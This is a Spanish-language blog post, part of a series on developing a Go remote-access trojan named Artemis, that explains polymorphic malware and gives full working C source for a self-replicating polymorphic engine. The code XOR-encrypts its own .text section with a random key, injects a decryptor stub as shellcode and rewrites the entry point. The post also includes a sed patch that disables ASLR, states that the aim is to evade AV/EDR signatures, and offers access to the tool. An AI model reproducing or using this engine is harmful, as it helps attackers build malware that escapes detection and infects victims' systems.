synawk

Malware Polimórfico: Artemis 0x2

Parte 2 de la serie del RAT que estoy desarrollando en GO; aquí tienes la parte 1 si aun no la has leído. esta vez voy a intentar explicar brevemente los motores polimórficos de un malware; y que opciones tengo para implementar algo similar en GO.

Un malware polimórfico tiene la capacidad de poder replicarse cambiando la estructura de su contenido, es decir que cada vez que se copia hacia una nueva ubicación (o en memoria) el contenido del mismo cambia. Puede sonar complicado, pero en realidad es bastante simple. Actualmente cuando un malware infecta un equipo pasa por un análisis estático donde se evalúa el “código” que este tiene y de esta forma pueden detectarse patrones sospechosos.

malware polimorfico

Como se puede ver en la imagen anterior, el malware puede ser copiado de forma local; es decir en el mismo equipo; pero también puede copiarse de forma remota (lateral movement) y en ambos casos el contenido del “body” de este malware debería cambiar. Puede parecer un método infalible sin embargo existe un problema con este tipo de malwares. Para poder hacer este procedimiento se necesita que una parte del malware (decryptor/stub) este desofuscada para que la memoria pueda leerla y de esta forma ejecutarla. Porque claro se necesita una función que desofusque todo lo que se ha ofuscado inicialmente.

Es fácil confundirse con los muchos términos que hay; por ejemplo por un lado tenemos un malware polimórfico que contiene un motor que permite al malware seleccionar o generar de forma aleatoria la combinatoria que hará posible la ofuscación; esto se logra cambiando los parámetros de ofuscación o el procedimiento mismo de ofuscación. Todo esto en tiempo real claro. Por otro lado tienes un oligomórfico, que básicamente es un polimórfico con un único procedimiento. También están los metamórficos que cambian su estructura, reordenan instrucciones y datos; un poco más complicado de realizar. Y bueno quizá pueda mencionar a los crypters que en la práctica se suele usar mucho con un motor oligmórfico con el fin de ofuscar un binario generando un stub.

Cuando ya se piensa en replicarse; es decir si vas a usar uno de estos métodos para replicar tu malware; ya pasa a ser un virus (está de más decir por que). Pero como mencionaba estos virus tienen un problema al momento de pasar por el análisis, ya que tienen una parte sin ofuscar; que es lo que normalmente los AV/EDR analizan para detectar un código malicioso. Existen muchas soluciones; como hacer el procedimiento como shellcode o reemplazando rutinas por subrutinas “innecesarias”. En fin eso ya depende de la imaginación de quien lo programa.

Antes de llegar al polimorfismo en artemis, haré un pequeño ejemplo de polimorfismo en C. En realidad podría considerarse oligomórfico porque solo haré un procedimiento de ofuscación; sin embargo en cada iteración cambiaré la llave de ofuscado para que de ese modo sea diferente y “aleatorio” cada vez que se replique. Así que bueno llámalo como quieras (jeje).

flujo virus polimorfico

En teoría es este el flujo que debería seguir el malware. En una primera instancia existen 2 secciones relevantes .text que contiene el código en su totalidad y .dex que contiene lo necesario para ofuscar y desofuscar el malware. Esta no es la única forma de hacerlo; es decir creado una nueva sección; se podría hacer incluyéndolo dentro de .text y reconociendo los límites de la parte a ofuscar. Pero para este ejemplo así funcionará mejor. Si te fijas en la imagen hay un timestamp, el cual no es necesario pero usaré como identificador para reconocer si el malware está ya ofuscado; ya que no podría ofuscar sobre lo ya ofuscado entonces se necesita obtener el código original. Luego sigue modificar la llave por una nueva y finalmente ofuscar.

Dentro de la última operación del cambio de llave, se suele hacer el cambio de la rutina de ofuscación; es decir por ejemplo si uso XOR multibyte en donde dice “nueva llave” haría el cambio de rutina XOR por un SWAP por ejemplo y así n veces por diferentes tipos de ofuscación; pero eso ya será para otro oportunidad.

Antes de empezar a desarrollar el motor polimórfico necesito crear una nueva sección (.dex); pero claro no la puedo crear luego del compilado. (jeje bueno si podría pero es mas trabajo). Así que la voy a crear dentro de mi archivo en C.

//Aquí define un nombre
#define SECTION_NAME ".dex"

#pragma warning(disable:4068)
#pragma data_seg(SECTION_NAME)

//Si usas mingw usas esto
__attribute__((section(SECTION_NAME))) long long altstack[2048] = {0x90,0x90,0x90,0x70,0x80};

//Si usas cl.exe o vstudio usas algo así
__declspec(allocate (SECTION_NAME)) long long altstack[2048] = {0x90,0x90,0x90,0x70,0x80};

//Ambos hacen lo mismo

Si estas usando mingw lo haces como en la línea 8 o caso contrario si usas cl.exe (vstudio) usas el ejemplo de la línea 11. Para esta publicación consideraré el uso de mingw por defecto; sin embargo el proceso es similar.

Ahora que ya sabes como es que se realiza un malware de este tipo; queda programarlo en C. Para lo primero será abrir el archivo. Pero no solo voy a abrir el archivo; además voy a tomar el contenido y cargarlo en memoria, con el objetivo de tener cargado en memoria la sección .text y .dex. El código quedaría algo así:

printf("[^] Starting with poly-station :v\n");
		
char *buffer; // 
char *fileName = argv[0]; //get name

//maybe random= 
char *outFileName = "release.exe";

//allocate malware into memory
FILE* me = fopen(fileName, "rb"); if (!me) {printf("[!] Not valid file!\n");break;};
fseek(me, 0, SEEK_END);
unsigned int shSize = (int)ftell(me);
fseek(me, 0, SEEK_SET);
buffer = (char*)malloc(shSize);
if (!buffer) { fclose(me); break; }

//read buffer
if (fread(buffer, sizeof(char), shSize, me) < shSize) { fclose(me); return 0; }
fclose(me); 

if(shSize==0) {printf("[!] Something gone wrong!\n");break;}; //check malloc

El nombre final (release.exe) podría ser cualquier otro; quizá lo mejor sea que se genere de forma aleatoria. Para este ejemplo lo dejaré así, pero ya si quieres lo cambias. A continuación, una vez que el archivo se abrió; es necesario obtener los HEADERS (DOS, OPTIONAL, etc). Todo esto lo usaré en un rato. Adicionalmente ejecuto algunas validaciones de integridad del archivo.

//all check
printf("[^] Battlecruiser Operational\n");
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)buffer;
if(IMAGE_DOS_SIGNATURE != dosHeader->e_magic){
    printf("[!]File isn't pefile\n");
    break;
}
char* daPoint = (char*)dosHeader + dosHeader->e_lfanew;
DWORD* checkSignature = (DWORD*)daPoint; 
daPoint += sizeof(DWORD);
if (*checkSignature != IMAGE_NT_SIGNATURE) { printf("[!] Invalid pefile\n");break; }
IMAGE_FILE_HEADER *iFileHeader = (IMAGE_FILE_HEADER *)daPoint;
daPoint += sizeof(IMAGE_FILE_HEADER);

IMAGE_OPTIONAL_HEADER *iOptionalHeader = (IMAGE_OPTIONAL_HEADER *)daPoint;
daPoint += sizeof(IMAGE_OPTIONAL_HEADER);

IMAGE_SECTION_HEADER *iSectionHeader = (IMAGE_SECTION_HEADER *)daPoint;
printf("[^] Get Entrypoint: %x \n", iOptionalHeader->AddressOfEntryPoint);

Hasta aquí nada anormal. Ahora necesito leer el contenido de .text y .dex para aplicar la ofuscación. Voy a detenerme un segundo para explicar como usaré la nueva sección que he creado (.dex). Ya que esta sección no solo va a almacenar el código para ofuscar y desofuscar; si no va a contener algunos datos extras como la llave, el entrypoint del código y algunos datos más que ahora veremos. Para dar un mejor ejemplo de que hace esta sección observa la siguiente imagen:

malware polimorfico

Bueno, aquí tal ves ya no sea tan fácil entender esta parte; sin embargo trataré de explicarlo de forma simple. Si te fijas en la imagen tengo 2 secciones como ya sabemos (.text y .dex); en la primera está el código y en la segunda se alojará una estructura como esa.

  1. jmp rutina: Este es el entrypoint “real” del malware. Es aquí donde el ejecutable inicia; y como se muestra en la imagen; omite ciertos bytes y se va directo a la rutina de [des]ofuscado.
  2. LLave: La rutina que aplicaré será un XOR multibyte; podría ser cualquier otra pero no es el foco de la publicación.
  3. Entrypoint: Obviamente si la primera instrucción será jmp rutina necesito saber cual será el entrypoint de mi malware; del .text.
  4. SizeOfRawData & VirtualAddress: Valores que voy a usar en la rutina, para calcular los límites de la ofuscación.
  5. rutina ofuscado: Aquí estará el código que se ocupa de la ofuscación. Esta parte por practicidad la haré como asm y posteriormente voy a obtener los opcode. ¿Se podría hacer directamente en código? SI. Pero la verdad implicaría explicar muchas más cosas y no alcanzaría el post para eso (jeje).
  6. jump .text: Finalmente cuando ya todo este desofuscado debo regresar al código donde inicia el malware.

Todo lo explicado anteriormente no es estándar; es decir existen otras mil maneras de hacerlo. Considero que esta es una forma fácil de aplicar polimorfismo sin complicarse mucho; pero no tomes esto como la única forma de hacerlo.

Entonces haciendo un resumen de lo último y agregando los espacios y posiciones que ocupará cada uno nos queda algo como esto:

//
.dex + 0 -> jmp rutina (2 bytes)
.dex + 2 -> llave(4 bytes) (x86)
.dex + 6 -> Entrypoint (4 bytes)
.dex + 10 -> SizeOfRawData(4 bytes)
.dex + 14 -> VirtualAddress(4 bytes)

Pues bien; espero que lo anterior haya quedado claro dado que ahora voy a necesitar el asm de la rutina de ofuscación. Esta parte si es algo complicada si no tienes experiencia en asm; así que lo explicaré paso a paso.

  1. Primero limpio los registros que usaré

    //
    xor    eax,eax
    xor    ecx,ecx
    xor    ebx,ebx
    xor    edx,edx
    
  2. Ahora obtengo el inicio de .text. Para esto voy a necesitar hacer algo como esto ImageBase + .text->VirtualAddress. Para obtener el ImageBase lo haré através del PEB + 0x8. Y si recuerdas, uno de los datos que he almacenado dentro de .dex es el VirtualAddress; la cual está en la posición 14 (0xe).

    //
    mov    eax,fs:0x30 #PEB
    mov    ebx,DWORD PTR [eax+0x8] #ImageBase
    mov    eax,ebx #Save ImageBase into eax
    #
    add    eax,DWORD PTR ds:[edi+0xe] #ImageBase + .text->VirtualAddress
    
  3. Ya tengo el inicio del código a ofuscar (eax); ahora necesito el final. Esto lo voy a calcular con el SizeOfRawData que se encuentra en la posición 10 (0xa). Si ya tengo el inicio que es eax, solo necesito sumar el tamaño y listo.

    //
    mov    ecx,eax #Save eax into ecx
    add    ecx,DWORD PTR ds:[edi+0xa] #Add .text EP + SizeOfRawData
    
  4. Necesito ahora obtener el entrypoint. Recuerda que al terminar la rutina el malware debe saltar al .text y ejecutar el flujo normal. Posición 6 (0x6) para el EP.

    //
    mov    edx,DWORD PTR [edi+0x6] #Save EP into edx
    add    edx,ebx # ADD ImageBase + EP
    
  5. Lo mismo para obtener la llave que esta en la posición 2 (0x2)

    //
    xor    ebx,ebx #Free ebx
    mov    ebx,DWORD PTR ds:[edi+0x2] # Save key into ebx
    
  6. Finalmente la rutina de cifrado. (jeje como mencioné es super simple)

    //
    #Apply XOR EAX[i] with EBX
    #DWORD -> 4 bytes
    xor    DWORD PTR ds:[eax],ebx 
    add    eax,0x4 #Add 4 bytes to EAX .. so EAX[i+4]
    cmp    eax,ecx #EAX equals to ECX? (end of .text)
    jle    0x28 #make loop #make loop back to xor 
    

Y juntando todas las partes, debería quedar algo así:

//
xor    eax,eax
xor    ecx,ecx
xor    ebx,ebx
xor    edx,edx

mov    eax,fs:0x30 #PEB
mov    ebx,DWORD PTR [eax+0x8] #ImageBase
mov    eax,ebx #Save ImageBase into eax

add    eax,DWORD PTR ds:[edi+0xe] #ImageBase + .text->VirtualAddress

mov    ecx,eax #Save eax into ecx
add    ecx,DWORD PTR ds:[edi+0xa] #Add .text EP + SizeOfRawData

mov    edx,DWORD PTR [edi+0x6] #Save EP into edx
add    edx,ebx # ADD ImageBase + EP

xor    DWORD PTR ds:[eax],ebx 
add    eax,0x4 #Add 4 bytes to EAX .. so EAX[i+4]
cmp    eax,ecx #EAX equals to ECX? (end of .text)
jle    0x28 #make loop back to xor

Voy a convertir esto a opcode y finalmente lo voy a agregar como constante dentro de mi código. Adicionalmente sobre el shellcode encode agregaré 22*3 bytes que me servirán de cabecera. Es decir 66 bytes para almacenar datos. Este valor lo voy a definir con ENC_SIZE_HEADER. Finalmente voy a definir ENC_SIZE_CODE como 30(bytes code) + (8 NOPS) = 0x32

//
const char lEnc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                //shellcode encode
                "\x31\xc0\x31\xc9\x31\xdb\x31\xd2\x64\xa1\x30\x00\x00\x00\x8b\x58\x08\x89\xd8\x3e\x03\x47\x0e"
                "\x89\xc1\x3e\x03\x4f\x0a\x8b\x57\x06\x01\xda\x31\xdb\x3e\x8b\x5f\x02\x3e\x31\x18\x83\xc0\x04\x39\xc8\x7e\xf6"
                "\x90\x90\x90\x90\x90\x90\x90\x90";


#define ENC_SIZE_HEADER 0x42
#define ENC_SIZE_CODE 0x32

Ahora ya tengo todo lo necesario para seguir con el desarrollo del motor polimórfico. Necesito recuperar el contenido de .text y de .dex. Para esto voy a iterar las secciones que ya obtuve previamente. Y adicionalmente voy a cambiar sus Characteristics para que sean de escritura y ejecución. Esta última técnica no les gusta a los AV/EDR; pero bueno que se le hace jeje. Posteriormente voy a obtener el PointerToRawData de .dex; esto con el fin de ir almacenando los valores de la estructura ya definida.

//

for(int iSection=0; iSection < iFileHeader->NumberOfSections; iSection++, currentPtr++){
  if(strncmp((char *)currentPtr->Name, ".text", 5)==0){
      sectCode = currentPtr;
  }
  if(strncmp((char *)currentPtr->Name, ".dex", 7)==0){
      sectEnc = currentPtr;
  }
}

//hi AV/EDR :v
sectCode->Characteristics = IMAGE_SCN_MEM_EXECUTE |
    IMAGE_SCN_MEM_READ |
    IMAGE_SCN_MEM_WRITE |
    IMAGE_SCN_CNT_CODE;

sectEnc->Characteristics = IMAGE_SCN_MEM_EXECUTE |
    IMAGE_SCN_MEM_READ |
    IMAGE_SCN_MEM_WRITE |
    IMAGE_SCN_CNT_CODE;

Bien; ya casi esta listo. Ahora viene la parte del timestamp. Como se ve en el flujo primero voy a determinar si el virus ya esta ofuscado. Esto supone hacer una lógica de desofuscado con una previa validación. Sería algo como esto:

if(iFileHeader->TimeDateStamp == 0xF0F0F0F0){
    printf("[!] Ya ha sido encriptado\n");
    printf("[^] Desencriptando...!\n");

    unsigned long ckey = *(unsigned long *)(pSectionEnc + 2); 
    unsigned char *pCodeEncoded =(unsigned char *)buffer + sectCode->PointerToRawData;
    //decode .text
    for(int i = 0; i< sizeSectionText; i+=4){
       *(unsigned long *)(pCodeEncoded + i) ^= ckey;
    }
  //then update key
    memcpy(pSectionEnc + 2, &lKey, sizeof(unsigned long));

}else{
  //first time
  
}

Como se puede ver es un simple XOR a una cadena de 4 bytes (DWORD). Ahora toca implementar cuando no ha sido ofuscado nunca; es decir la primera vez. Este paso es importante ya que solo se va a ejecutar una sola vez, almacenando los datos relevante que no podrán ser nuevamente recuperados. Es decir el else se ejecutará una sola vez y luego todas las veces posteriores solo entrará a que ya está ofuscado.

Finalmente agregamos; em ambos casos terminamos ofuscando el código con la nueva llave generada; agregamos esto del timestamp y por último cambiamos el nuevo entrypoint que apunte hacia .dex. Y claro cerramos el código guardando en nuevo archivo lo que quedó en memoria. Ahora juntando todo el código quedaría algo así:

//
#include<winternl.h>
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
#include <time.h>

#define SECTION_NAME ".dex"

#pragma warning(disable: 4068)
#pragma data_seg(SECTION_NAME)
__attribute__((section(SECTION_NAME))) long long altstack[2048] = {0x90,0x90,0x90,0x70,0x80};

//
const char lEnc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//shellcode encode
"\x31\xc0\x31\xc9\x31\xdb\x31\xd2\x64\xa1\x30\x00\x00\x00\x8b\x58\x08\x89\xd8\x3e\x03\x47\x0e"
"\x89\xc1\x3e\x03\x4f\x0a\x8b\x57\x06\x01\xda\x31\xdb\x3e\x8b\x5f\x02\x3e\x31\x18\x83\xc0\x04\x39\xc8\x7e\xf6"
"\x90\x90\x90\x90\x90\x90\x90\x90";

#define ENC_SIZE_HEADER 0x42
#define ENC_SIZE_CODE 0x32

int main(int argc, char ** argv) {
  srand(time(NULL)); //seed

  do {
    //run once
    printf("[^] Starting with poly-station :v\n");

    char * buffer; // 
    char * fileName = argv[0]; //get name

    //maybe random?
    int fix = (rand() % 256);
    char outFileName[12];
    char * c = "release.exe";
    sprintf(outFileName, "%d-%s", fix, c);
    printf("[^] Output= %s\n", outFileName);

    //allocate malware into memory
    FILE * me = fopen(fileName, "rb");
    if (!me) {
      printf("[!] Not valid file!\n");
      break;
    };
    fseek(me, 0, SEEK_END);
    unsigned int shSize = (int) ftell(me);
    fseek(me, 0, SEEK_SET);
    buffer = (char * ) malloc(shSize);
    if (!buffer) {
      fclose(me);
      break;
    }

    //read buffer
    if (fread(buffer, sizeof(char), shSize, me) < shSize) {
      fclose(me);
      return 0;
    }
    fclose(me);

    if (shSize == 0) {
      printf("[!] Something gone wrong!\n");
      break;
    }; //check malloc

    //all check
    printf("[^] Battlecruiser Operational\n");
    IMAGE_DOS_HEADER * dosHeader = (IMAGE_DOS_HEADER * ) buffer;
    if (IMAGE_DOS_SIGNATURE != dosHeader -> e_magic) {
      printf("[!]File isn't pefile\n");
      break;
    }
    char * daPoint = (char * ) dosHeader + dosHeader -> e_lfanew;
    DWORD * checkSignature = (DWORD * ) daPoint;
    daPoint += sizeof(DWORD);
    if ( * checkSignature != IMAGE_NT_SIGNATURE) {
      printf("[!] Invalid pefile\n");
      break;
    }
    IMAGE_FILE_HEADER * iFileHeader = (IMAGE_FILE_HEADER * ) daPoint;
    daPoint += sizeof(IMAGE_FILE_HEADER);

    IMAGE_OPTIONAL_HEADER * iOptionalHeader = (IMAGE_OPTIONAL_HEADER * ) daPoint;
    daPoint += sizeof(IMAGE_OPTIONAL_HEADER);

    IMAGE_SECTION_HEADER * iSectionHeader = (IMAGE_SECTION_HEADER * ) daPoint;
    printf("[^] Get Entrypoint: %x \n", iOptionalHeader -> AddressOfEntryPoint);

    IMAGE_SECTION_HEADER * currentPtr = NULL; //current pointer
    IMAGE_SECTION_HEADER * sectCode = NULL; //pointer code .text
    IMAGE_SECTION_HEADER * sectEnc = NULL; //pointer enc .dex
    currentPtr = iSectionHeader;

    for (int iSection = 0; iSection < iFileHeader -> NumberOfSections; iSection++, currentPtr++) {

      if (strncmp((char * ) currentPtr -> Name, ".text", 5) == 0) {
        sectCode = currentPtr;
      }
      if (strncmp((char * ) currentPtr -> Name, ".dex", 7) == 0) {
        sectEnc = currentPtr;
      }
    }

    //hi AV/EDR :v
    sectCode -> Characteristics = IMAGE_SCN_MEM_EXECUTE |
      IMAGE_SCN_MEM_READ |
      IMAGE_SCN_MEM_WRITE |
      IMAGE_SCN_CNT_CODE;

    sectEnc -> Characteristics = IMAGE_SCN_MEM_EXECUTE |
      IMAGE_SCN_MEM_READ |
      IMAGE_SCN_MEM_WRITE |
      IMAGE_SCN_CNT_CODE;

    printf("[^] Characteristics setted \n");

    char * pSectionEnc = (char * ) buffer + sectEnc -> PointerToRawData;

    //raw size 
    int sizeSectionText = sectCode -> SizeOfRawData;
    int sizeSectionEnc = sectEnc -> SizeOfRawData;
    BYTE b1 = rand() % 256;
    BYTE b2 = rand() % 256;
    BYTE b3 = rand() % 256;
    BYTE b4 = rand() % 256;

    unsigned long lKey = b4 << 24 | b3 << 16 | b2 << 8 | b1;
    printf("[^] New key= %x\n", & lKey);

    if (iFileHeader -> TimeDateStamp == 0xF0F0F0F0) {

      printf("[!] Ya ha sido encriptado\n");
      printf("[^] Desencriptando...!\n");

      unsigned long ckey = * (unsigned long * )(pSectionEnc + 2);
      printf("[^] Trying with key= %x\n", ckey);

      unsigned char * pCodeEncoded = (unsigned char * ) buffer + sectCode -> PointerToRawData;
      //decode .text
      for (int i = 0; i < sizeSectionText; i += 4) {
        *(unsigned long * )(pCodeEncoded + i) ^= ckey;
      }
      memcpy(pSectionEnc + 2, & lKey, sizeof(unsigned long));

    } else {
      char * pNewSection = (char * ) malloc(sizeSectionEnc); //thanos virtual
      if (!pNewSection) break;

      memset(pNewSection, 0x0, sizeSectionEnc); //borramos todo y colocamos 0

      memcpy(pNewSection, lEnc, sizeof(lEnc)); //template
      memcpy(pNewSection, "\x74\x3B", 2); // pos 0
      memcpy(pNewSection + 2, & lKey, sizeof(unsigned long)); // pos 2
      memcpy(pNewSection + 6, & iOptionalHeader -> AddressOfEntryPoint, sizeof(unsigned long)); // pos 4
      memcpy(pNewSection + 10, & sectCode -> SizeOfRawData, sizeof(unsigned long)); // pos 8
      memcpy(pNewSection + 14, & sectCode -> VirtualAddress, sizeof(unsigned long)); // pos 12

      memcpy(pNewSection + ENC_SIZE_HEADER + ENC_SIZE_CODE, "\xFF\xE2", 2); // pos final

      memcpy(pSectionEnc, pNewSection, sizeSectionEnc);
      free(pNewSection);
    }

    unsigned char * pCode = (unsigned char * ) buffer + sectCode -> PointerToRawData;

    for (int i = 0; i < sizeSectionText; i += 4) {
      *(unsigned long * )(pCode + i) ^= lKey; //encoding
    }

    iFileHeader -> TimeDateStamp = 0xF0F0F0F0;

    //change entrypoint

    unsigned long nEntry = sectEnc -> VirtualAddress;
    memcpy( & iOptionalHeader -> AddressOfEntryPoint, & nEntry, sizeof(nEntry));
    printf("[^] New Entrypoint [First Time]= %x\n", nEntry);

    FILE * fop = fopen(outFileName, "w+b");
    if (!fop) break;
    fwrite(buffer, sizeof(char), shSize, fop);
    fclose(fop);
    break;
  } while (FALSE);

  printf("[^] Polymorphic success!!\n");
}

Cuando compilas esto y ejecutas te va a generar un %d-release.exe. Bueno al final coloqué un prefijo aleatorio previo al release que vendría a ser un número (ya no lo cambié arriba pero se entiende). El resultado es algo como esto:

resultado malware polimórfico

Como se ve en la imagen anterior; si ejecuto test.exe me va a generar un archivo (249-release.exe). Posteriormente si ejecuto el 249-release.exe me va a generar otro archivo que en este caso tiene de nombre 195-release.exe. Puede no parecer mucho (jeje) pero es que en realidad acabas de crear un malware polimórfico. Se puede corroborar leyendo los bytes de cada uno de los ejecutables (excluyendo el test.exe que es el original)

comparacion malware polimorfico

Como se puede ver los bytes en cada caso son diferentes y así se podría seguir de forma indefinida. Es decir uno genera otro y así sucesivamente. Es importante aclarar también que he aplicado una sola rutina de ofuscado; en caso se quiera mejorar con múltiples rutinas o incluso modificar la rutina misma para hacerlo aún más complejo; bastaría con modificar el procedimiento de ofuscado (cuando se hace el XOR) y agregar muchas más rutinas. Pero todo esto ya sería para un trabajo posterior. Te dejo un video corto comparando los hash de los archivos generados.

virus polimorfico hash

¿Ahora qué?

Pues como introducción ha esta un poco largo; el foco de esta publicación es con artemis. Pero entonces como esto puede ayudarme a construir un malware polimórfico en Golang. Pues la respuesta a esto es.. No se puede. O por lo menos de la forma en la que se hizo ahora; directamente en Go (en su lenguaje me refiero) no es tan fácil. De echo Go tiene un paquete que permite interactuar con la información del pefile (debug/pe); y bueno su modificación dependería unicamente de la escritura basado en offsets. En general un trabajo bastante complicado.

Con esto dicho solo nos queda una solución: Usar CGO (con un poco de ayuda de Go). En realidad es bastante simple; solo es necesario adaptar todo el código que ya he programado dentro del proyecto de artemis; o al menos eso pensé 😡😡😡.

Al ejecutar el compilado de Go vi que no funcionaba; al hacer debug vi que algunos bytes en disco no eran los mismo al cargarlos en memoria. Gracias a DavicoRM de Perucrackers que me dió el camino para saber que necesitaba aplicar un parche adicional al ejecutable relacionado con el ASLR. Esta propiedad puede ser modificada a través de DllCharacteristics.

sed -i '0,/\x40\x81/s//\x00\x80/' windows.exe

Con esto reemplazo el valor que resulta al compilar el ejecutable en Go con el valor que quiero. Y pues con eso debería resolverse. Quizá el proceso de compilación debería modificarlo para obtener el mismo resultado, pero Go no me deja así que 🙄🙄..

En fin, luego de implementar el código del motor polimórfico en GO y después de compilarlo este fue el resultado:


El video muestra 2 partes fundamentales. He agregado un módulo llamado replicate que básicamente ejecuta toda la rutina de copiado con el motor que se ha construido. Después se puede ver que las secciones .text son diferentes en cada ejecutable. Y bueno ahí despliego el módulo test que básicamente hace un DLL Reflective.

Conclusiones

La herramienta a fecha de hoy no esta disponible; aún me queda por modificar varias cosas. Sin embargo ahora artemis tiene un nuevo módulo que permite polimorfismo. Esto más adelante ayudará a evadir cierto controles basados en firmas o análisis de código. Sin embargo más arriba mencioné que este método de polimorfismo traía algunos problemas dado que al estar expuesta la parte del malware (la rutina de ofuscado) queda sensible a detecciones como se ve aquí:

resultado análisis artemis

Sin embargo no hay mucho de que preocuparse porque evadir esa heurística no es tan complicado. En las siguientes publicaciones iré haciendo estas modificaciones. La rutina que he creado es bastante simple por ende es bastante detectable, o quizá sea la alta entropía; quien sabe. A lo mejor ni use este modulo :v; pero por lo pronto lo dejaré así (porque si funciona no lo toques :v).

Si quieres acceso a la tool (para ayudar también puede ser:v) puedes escribirme.